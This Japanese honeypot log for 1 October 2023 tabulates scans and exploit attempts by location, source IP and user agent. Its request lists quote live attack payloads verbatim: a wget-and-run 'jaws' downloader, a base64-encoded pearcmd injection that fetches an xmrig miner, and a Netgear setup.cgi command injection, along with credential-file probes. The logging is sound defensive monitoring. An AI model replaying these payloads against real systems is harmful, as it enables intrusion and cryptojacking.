2023/10/01 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/10/01分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Tomcatへのスキャン行為

Location:JP

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
TP-Link製品の脆弱性(CVE-2023-1389)を狙うアクセス
node-fetchによるスキャン行為
webprosbotによるスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

Location:US

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
node-fetchによるスキャン行為
webprosbotによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
WordPressへのスキャン行為

を確認しました。

Location:UK

D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
.jsへのスキャン行為

を確認しました。

Location:SG

Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TP-Link製品の脆弱性(CVE-2023-1389)を狙うアクセス
Nmap Scripting Engineによるスキャン行為
curlによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為

を確認しました。

他

アクセス数推移

JP：総アクセス数：355 (前日比：190)
US：総アクセス数：74 (前日比：-139)
UK：総アクセス数：85 (前日比：18)
SG：総アクセス数：227 (前日比：31)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
80	13.59.190.45	United States
1	20.27.77.0	United States
71	34.204.98.173	United States
85	35.172.100.98	United States
15	43.154.141.71	Singapore
1	45.79.181.104	United States
1	45.88.90.116	Bulgaria
1	45.93.201.57	Russia
4	45.95.147.236	Netherlands
1	54.93.124.155	United States
1	64.62.197.146	United States
1	64.62.197.147	United States
1	64.62.197.183	United States
1	80.91.223.137	Germany
1	95.214.55.115	Poland
1	104.192.0.50	United States
2	109.237.97.180	Russia
2	109.237.98.226	Russia
2	120.63.180.123	India
1	120.86.41.3	China
5	135.125.217.54	France
11	135.125.246.189	France
1	157.245.38.41	United States
1	162.142.125.225	United States
1	162.243.137.27	United States
1	162.243.150.43	United States
1	167.94.146.53	United States
1	172.104.11.4	United States
3	172.104.11.51	United States
2	179.43.142.43	Panama
1	179.43.187.131	Panama
2	185.100.87.136	Seychelles
1	185.180.143.79	Portugal
37	185.254.37.231	Bulgaria
7	185.254.196.173	Ukraine
2	185.254.196.186	Ukraine
1	192.241.193.55	United States
1	193.35.18.187	Bulgaria
1	198.199.114.97	United States
1	205.210.31.94	United States
1	212.129.45.218	France

UserAgent一覧

件数	UserAgent
16	-
3	Custom-HttpClient
2	Go-http-client/1.1
1	Hello, world
1	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
37	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
70	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
15	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
80	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
113	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
3	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3	Mozilla/5.0 zgrab/0.x
1	node-fetch/1.0 (+https[:]//github[.]com/bitinn/node-fetch)
1	python-requests/2.25.1
1	webprosbot/2.0 (+mailto:abuse-6337@webpros.com)

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
1		MGLNDD_18.179.20.5_80\n
2		\x16\x03\x01\x01H\x01
1		\x16\x03\x01\x01\xfa\x01
7		\x16\x03\x01
1	CONNECT	google[.]com:443	HTTP/1.1
1	CONNECT	proxy[.]korsangazi[.]com:443	HTTP/1.1
2	GET	/.aws/credentials	HTTP/1.1
1	GET	/.c9/metadata/environment/.env	HTTP/1.1
1	GET	/.docker/.env	HTTP/1.1
1	GET	/.env.backup	HTTP/1.1
1	GET	/.env.dev	HTTP/1.1
2	GET	/.env.development	HTTP/1.1
2	GET	/.env.dist	HTTP/1.1
2	GET	/.env.old	HTTP/1.1
2	GET	/.env.prod	HTTP/1.1
2	GET	/.env.production	HTTP/1.1
2	GET	/.env.project	HTTP/1.1
2	GET	/.env.save	HTTP/1.1
1	GET	/.env.www	HTTP/1.1
1	GET	/.env_1	HTTP/1.1
1	GET	/.env_sample	HTTP/1.1
31	GET	/.env	HTTP/1.1
1	GET	/.git/config	HTTP/1.1
2	GET	/.json	HTTP/1.1
1	GET	/18.179.20.5/.env	HTTP/1.1
1	GET	/?phpinfo=1	HTTP/1.1
1	GET	/PHPConf.php	HTTP/1.1
1	GET	/_phpinfo.php	HTTP/1.1
2	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/_static/.env	HTTP/1.1
1	GET	/actuator/health	HTTP/1.1
2	GET	/admin-app/.env	HTTP/1.1
1	GET	/admin.php	HTTP/1.1
2	GET	/admin/.env	HTTP/1.1
1	GET	/admin/phpinfo.php	HTTP/1.1
1	GET	/adminer	HTTP/1.1
5	GET	/api/.env	HTTP/1.1
5	GET	/app/.env	HTTP/1.1
1	GET	/app/config/.env	HTTP/1.1
4	GET	/application/.env	HTTP/1.1
5	GET	/apps/.env	HTTP/1.1
1	GET	/audio/.env	HTTP/1.1
2	GET	/auth/.env	HTTP/1.1
4	GET	/back/.env	HTTP/1.1
2	GET	/backend/.env	HTTP/1.1
1	GET	/base/.env	HTTP/1.1
1	GET	/cgi-bin/.env	HTTP/1.1
2	GET	/cli/.env	HTTP/1.1
2	GET	/cms/.env	HTTP/1.1
1	GET	/conf/.env	HTTP/1.1
2	GET	/config.json	HTTP/1.1
2	GET	/config/.env	HTTP/1.1
5	GET	/core/.env	HTTP/1.1
3	GET	/cp/.env	HTTP/1.1
1	GET	/crm/.env	HTTP/1.1
1	GET	/dashboard/.env	HTTP/1.1
1	GET	/database/.env	HTTP/1.1
2	GET	/debug/default/view?panel=config	HTTP/1.1
2	GET	/dependencies/.env	HTTP/1.1
2	GET	/deployment/.env	HTTP/1.1
2	GET	/dev/.env	HTTP/1.1
4	GET	/development/.env	HTTP/1.1
4	GET	/docker/.env	HTTP/1.1
2	GET	/document/.env	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
2	GET	/engine/.env	HTTP/1.1
2	GET	/enviroments/.env.production	HTTP/1.1
2	GET	/enviroments/.env	HTTP/1.1
4	GET	/favicon.ico	HTTP/1.1
1	GET	/fedex/.env	HTTP/1.1
2	GET	/framework/.env	HTTP/1.1
2	GET	/frontend/.env	HTTP/1.1
2	GET	/frontend_dev.php/$	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/index.php?lang=../../../../../../../../tmp/ohhellohttpserver	HTTP/1.1
1	GET	/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode(\"bWtkaXIgLXAgL3RtcC8kKHdob2FtaSkgJiYgY2QgL3RtcC8kKHdob2FtaSk7IHdnZXQgaHR0cDovLzE4NS4yMjUuNzUuMjQyL2Rvd25sb2FkL3htcmlnLng4Nl82NDsgY3VybCAtTyB3Z2V0IGh0dHA6Ly8xODUuMjI1Ljc1LjI0Mi9kb3dubG9hZC94bXJpZy54ODZfNjQ7IHJtIC1yZiAuZm94bTsgbXYgeG1yaWcueDg2XzY0IC5mb3htOyBjaG1vZCAreCAuZm94bTsgLi8uZm94bQ==\"));?>+/tmp/ohhellohttpserver.php	HTTP/1.1
1	GET	/index.php?s=/index/ hink
1	GET	/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=echo${IFS}bWtkaXIgLXAgL3RtcC8kKHdob2FtaSkgJiYgY2QgL3RtcC8kKHdob2FtaSk7IHdnZXQgaHR0cDovLzE4NS4yMjUuNzUuMjQyL2Rvd25sb2FkL3htcmlnLng4Nl82NDsgY3VybCAtTyB3Z2V0IGh0dHA6Ly8xODUuMjI1Ljc1LjI0Mi9kb3dubG9hZC94bXJpZy54ODZfNjQ7IHJtIC1yZiAuZm94bTsgbXYgeG1yaWcueDg2XzY0IC5mb3htOyBjaG1vZCAreCAuZm94bTsgLi8uZm94bQ==|base64${IFS}-d|sh	HTTP/1.1
2	GET	/info.php	HTTP/1.1
1	GET	/info/info.php	HTTP/1.1
1	GET	/info/phpinfo.php	HTTP/1.1
1	GET	/infophp.php	HTTP/1.1
1	GET	/information.php	HTTP/1.1
1	GET	/information	HTTP/1.1
2	GET	/laravel-artisa/.env	HTTP/1.1
4	GET	/laravel/.env	HTTP/1.1
1	GET	/library/.env	HTTP/1.1
2	GET	/live_env	HTTP/1.1
4	GET	/local/.env	HTTP/1.1
2	GET	/login/.env	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
2	GET	/master/.env	HTTP/1.1
1	GET	/new/.env	HTTP/1.1
1	GET	/old/.env	HTTP/1.1
2	GET	/personal/.env	HTTP/1.1
1	GET	/php-info.php	HTTP/1.1
1	GET	/php.php	HTTP/1.1
1	GET	/php_info.php	HTTP/1.1
2	GET	/phpinfo.php	HTTP/1.1
1	GET	/phpinfo/phpinfo.php	HTTP/1.1
1	GET	/phpinfo	HTTP/1.1
1	GET	/phpinformation	HTTP/1.1
1	GET	/phptest.php	HTTP/1.1
1	GET	/phpversion.php	HTTP/1.1
1	GET	/pinfo.php	HTTP/1.1
4	GET	/private/.env	HTTP/1.1
1	GET	/production/.env	HTTP/1.1
2	GET	/project/.env	HTTP/1.1
3	GET	/protected/.env	HTTP/1.1
1	GET	/public/.env	HTTP/1.1
3	GET	/rest/.env	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
2	GET	/script/.env	HTTP/1.1
1	GET	/scripts/phpinfo.php	HTTP/1.1
2	GET	/search/.env	HTTP/1.1
2	GET	/server/.env	HTTP/1.1
4	GET	/shared/.env	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/shop/.env	HTTP/1.1
1	GET	/showLogin.cc	HTTP/1.1
2	GET	/site/.env	HTTP/1.1
1	GET	/sites/all/libraries/mailchimp/.env	HTTP/1.1
2	GET	/sources/.env	HTTP/1.1
3	GET	/src/.env	HTTP/1.1
4	GET	/system/.env	HTTP/1.1
1	GET	/testphpinfo.php	HTTP/1.1
1	GET	/testphpinfo	HTTP/1.1
1	GET	/v3/time	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/viewinfo.php	HTTP/1.1
2	GET	/vod_installer/.env	HTTP/1.1
2	GET	/vue/.env	HTTP/1.1
2	GET	/web/.env	HTTP/1.1
1	GET	/wp-admin/.env	HTTP/1.1
1	GET	/wp-content/.env	HTTP/1.1
1	GET	/www/.env	HTTP/1.1
1	GET	http[:]//proxy[.]korsangazi[.]com:80/bc61121a8191137a1f6357ea09cea3d3.html	HTTP/1.1
15	HEAD	/Core/Skin/Login.aspx	HTTP/1.1
1	POST	/.aws/credentials	HTTP/1.1
2	POST	/.env.development	HTTP/1.1
2	POST	/.env.dist	HTTP/1.1
2	POST	/.env.old	HTTP/1.1
2	POST	/.env.prod	HTTP/1.1
2	POST	/.env.production	HTTP/1.1
2	POST	/.env.project	HTTP/1.1
2	POST	/.env.save	HTTP/1.1
2	POST	/.env	HTTP/1.1
1	POST	/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7	HTTP/1.1
2	POST	/admin-app/.env	HTTP/1.1
2	POST	/api/.env	HTTP/1.1
2	POST	/app/.env	HTTP/1.1
2	POST	/application/.env	HTTP/1.1
2	POST	/apps/.env	HTTP/1.1
2	POST	/back/.env	HTTP/1.1
3	POST	/boaform/admin/formLogin	HTTP/1.1
2	POST	/cgi-bin/luci/;stok=/locale?form=country	HTTP/1.1
2	POST	/cms/.env	HTTP/1.1
2	POST	/core/.env	HTTP/1.1
1	POST	/cp/.env	HTTP/1.1
2	POST	/development/.env	HTTP/1.1
2	POST	/docker/.env	HTTP/1.1
2	POST	/enviroments/.env.production	HTTP/1.1
2	POST	/enviroments/.env	HTTP/1.1
1	POST	/fedex/.env	HTTP/1.1
1	POST	/index.htm	HTTP/1.1
2	POST	/laravel/.env	HTTP/1.1
2	POST	/live_env	HTTP/1.1
1	POST	/local/.env	HTTP/1.1
2	POST	/private/.env	HTTP/1.1
1	POST	/rest/.env	HTTP/1.1
2	POST	/script/.env	HTTP/1.1
2	POST	/shared/.env	HTTP/1.1
2	POST	/sources/.env	HTTP/1.1
2	POST	/system/.env	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.72.64.85	United States
1	36.99.136.136	China
1	40.121.83.205	United States
1	45.33.80.243	United States
1	45.79.128.205	United States
1	45.79.181.94	United States
1	45.79.181.104	United States
4	45.95.147.236	Netherlands
1	46.101.0.233	United States
1	47.89.195.210	United States
1	47.251.14.232	United States
1	54.36.115.221	France
13	54.37.79.75	France
1	64.62.197.109	United States
1	64.62.197.120	United States
1	67.21.36.5	United States
1	74.82.47.2	United States
1	80.66.88.215	Russia
2	83.97.73.87	Germany
1	84.54.51.12	Bulgaria
14	87.120.84.248	Bulgaria
2	95.214.55.115	Poland
1	107.170.252.56	United States
2	109.237.98.226	Russia
1	139.59.101.104	Singapore
2	162.142.125.213	United States
1	170.64.163.152	United States
2	172.104.11.4	United States
1	172.104.11.46	United States
1	172.105.128.11	United States
1	172.105.128.12	United States
1	172.105.128.13	United States
2	179.43.142.43	Panama
1	181.214.164.109	United States
1	192.155.90.118	United States
1	192.241.197.39	United States
1	193.35.18.31	Bulgaria
1	198.199.106.124	United States
1	198.235.24.36	United States
1	205.210.31.29	United States

UserAgent一覧

件数	UserAgent
21	-
3	Custom-HttpClient
1	Go-http-client/1.1
2	Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
14	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
16	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS)
3	Mozilla/5.0 zgrab/0.x
1	Mozilla/5.0
1	node-fetch/1.0 (+https[:]//github[.]com/bitinn/node-fetch)
1	webprosbot/2.0 (+mailto:abuse-6337@webpros.com)

リクエスト内容一覧

件数	Method	Request	Protocol
1		\x03
1		\x05
1		\x16\x03\x01\x01H\x01
1		\x16\x03\x01\x01\xfb\x01
14		\x16\x03\x01
1	CONNECT	google[.]com:443	HTTP/1.1
1	CONNECT	proxy[.]korsangazi[.]com:443	HTTP/1.1
16	GET	/.env	HTTP/1.1
1	GET	/.git/config	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/Public/home/js/check.js	HTTP/1.1
1	GET	/ReportServer	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/blog/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/cdn-cgi/trace	HTTP/1.1
1	GET	/cms/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/index.php?lang=../../../../../../../../tmp/ohhellohttpserver	HTTP/1.1
1	GET	/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode(\"bWtkaXIgLXAgL3RtcC8kKHdob2FtaSkgJiYgY2QgL3RtcC8kKHdob2FtaSk7IHdnZXQgaHR0cDovLzE4NS4yMjUuNzUuMjQyL2Rvd25sb2FkL3htcmlnLng4Nl82NDsgY3VybCAtTyB3Z2V0IGh0dHA6Ly8xODUuMjI1Ljc1LjI0Mi9kb3dubG9hZC94bXJpZy54ODZfNjQ7IHJtIC1yZiAuZm94bTsgbXYgeG1yaWcueDg2XzY0IC5mb3htOyBjaG1vZCAreCAuZm94bTsgLi8uZm94bQ==\"));?>+/tmp/ohhellohttpserver.php	HTTP/1.1
1	GET	/index.php?s=/index/ hink
1	GET	/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=echo${IFS}bWtkaXIgLXAgL3RtcC8kKHdob2FtaSkgJiYgY2QgL3RtcC8kKHdob2FtaSk7IHdnZXQgaHR0cDovLzE4NS4yMjUuNzUuMjQyL2Rvd25sb2FkL3htcmlnLng4Nl82NDsgY3VybCAtTyB3Z2V0IGh0dHA6Ly8xODUuMjI1Ljc1LjI0Mi9kb3dubG9hZC94bXJpZy54ODZfNjQ7IHJtIC1yZiAuZm94bTsgbXYgeG1yaWcueDg2XzY0IC5mb3htOyBjaG1vZCAreCAuZm94bTsgLi8uZm94bQ==|base64${IFS}-d|sh	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/news/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/site/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/sito/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/static/admin/javascript/hetong.js	HTTP/1.1
1	GET	/test/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/web/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/website/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wordpress/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp1/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp2/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/xmlrpc.php?rsd	HTTP/1.1
1	GET	http[:]//proxy[.]korsangazi[.]com:80/bc61121a8191137a1f6357ea09cea3d3.html	HTTP/1.1
1	POST	/11656810	HTTP/1.1
3	POST	/boaform/admin/formLogin	HTTP/1.1
1	PRI	*	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	18.223.239.98	United States
2	40.121.83.205	United States
2	45.79.128.205	United States
3	45.79.181.94	United States
1	45.88.90.116	Bulgaria
1	45.227.254.8	Belize
15	51.79.29.48	Canada
6	54.36.115.221	France
1	64.62.197.172	United States
1	64.62.197.173	United States
1	65.49.1.17	United States
2	83.97.73.87	Germany
1	87.251.64.154	Russia
2	90.151.171.106	Russia
1	92.223.88.171	Luxembourg
1	95.214.55.115	Poland
1	134.209.16.164	United States
13	139.59.56.215	Singapore
1	139.59.101.104	Singapore
1	148.113.138.115	Canada
2	159.223.91.218	United States
2	162.142.125.11	United States
2	167.94.138.36	United States
2	167.94.146.57	United States
2	167.248.133.38	United States
2	170.0.167.33	Brazil
1	172.104.11.4	United States
1	172.104.11.46	United States
1	172.104.11.51	United States
1	172.104.242.173	United States
1	172.105.128.12	United States
2	172.105.128.13	United States
1	175.178.150.63	China
1	192.155.90.220	United States
1	192.241.210.38	United States
1	192.241.211.25	United States
1	192.241.233.50	United States
2	193.35.18.31	Bulgaria
1	198.199.97.39	United States
1	205.210.31.236	United States

UserAgent一覧

件数	UserAgent
29	-
1	Go-http-client/1.1
2	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
8	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from) Z72612114222Q1
1	Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)
22	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
6	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3	Mozilla/5.0 zgrab/0.x
3	Mozilla/5.0
1	curl/8.1.2

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_132.145.66.34_80\n
1		\x03
1		\x16\x03\x01\x01\x07\x01
1		\x16\x03\x01\x01\xfc\x01
17		\x16\x03\x01
1		\x16\x03\x03
1		\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1	CONNECT	checkip[.]amazonaws[.]com:443	HTTP/1.1
23	GET	/.env	HTTP/1.1
1	GET	//.env	HTTP/1.1
1	GET	/1.php	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/actuator/health	HTTP/1.1
1	GET	/bundle.js	HTTP/1.1
2	GET	/cdn-cgi/trace	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
6	GET	/favicon.ico	HTTP/1.1
1	GET	/files/	HTTP/1.1
1	GET	/form.html	HTTP/1.1
1	GET	/geoip/	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/info.php	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/password.php	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//69[.]30[.]255[.]228:9101/bestone/.5r3fqt67ew531has4231.mips+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/systembc/password.php	HTTP/1.1
1	GET	/upl.php	HTTP/1.1
1	GET	http[:]//checkip[.]amazonaws[.]com?Z72612114222Q1	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
6	POST	/boaform/admin/formLogin	HTTP/1.1
4	PRI	*	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
4	4.227.151.239	United States
1	20.80.99.93	United States
1	20.84.87.83	United States
2	45.33.80.243	United States
1	45.56.108.128	United States
2	45.79.172.21	United States
5	45.95.169.122	Croatia
1	45.135.232.28	Russia
1	45.227.254.8	Belize
10	54.36.115.221	France
12	54.37.79.75	France
1	64.62.197.157	United States
1	66.175.213.4	United States
2	83.97.73.87	Germany
1	85.239.33.6	Russia
2	87.251.64.11	Russia
1	95.214.55.115	Poland
2	103.127.78.55	India
1	103.252.136.161	private ip address
1	104.131.144.38	United States
6	109.123.248.106	Czechia
2	109.237.97.180	Russia
1	139.59.175.179	Singapore
144	139.162.7.59	Netherlands
2	162.142.125.221	United States
1	162.243.147.7	United States
2	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
2	172.104.11.51	United States
1	172.104.242.173	United States
2	184.105.247.194	United States
1	192.155.90.118	United States
1	192.155.90.220	United States
1	192.241.201.31	United States
3	193.35.18.31	Bulgaria
1	193.35.18.187	Bulgaria
1	198.199.97.87	United States
1	205.210.31.9	United States
1	205.210.31.16	United States

UserAgent一覧

件数	UserAgent
32	-
1	Go-http-client/1.1
1	Mozilla/5.0 (Linux; Android 8.1.0; vivo 1726) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36
5	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1	Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 929) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
26	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
4	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3	Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)
3	Mozilla/5.0 zgrab/0.x
143	curl/7.54.0

リクエスト内容一覧

件数	Method	Request	Protocol
3		-
1		MGLNDD_13.67.44.234_80
1		\x03
1		\x16\x03\x01\x01H\x01
1		\x16\x03\x01\x01\xfb\x01
2		\x16\x03\x01\x02
19		\x16\x03\x01
1		\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1	CONNECT	google[.]com:443	HTTP/1.1
27	GET	/.env	HTTP/1.1
1	GET	/.git/HEAD	HTTP/1.1
2	GET	/.git/config	HTTP/1.1
1	GET	/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000	HTTP/1.1
1	GET	/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42	HTTP/1.1
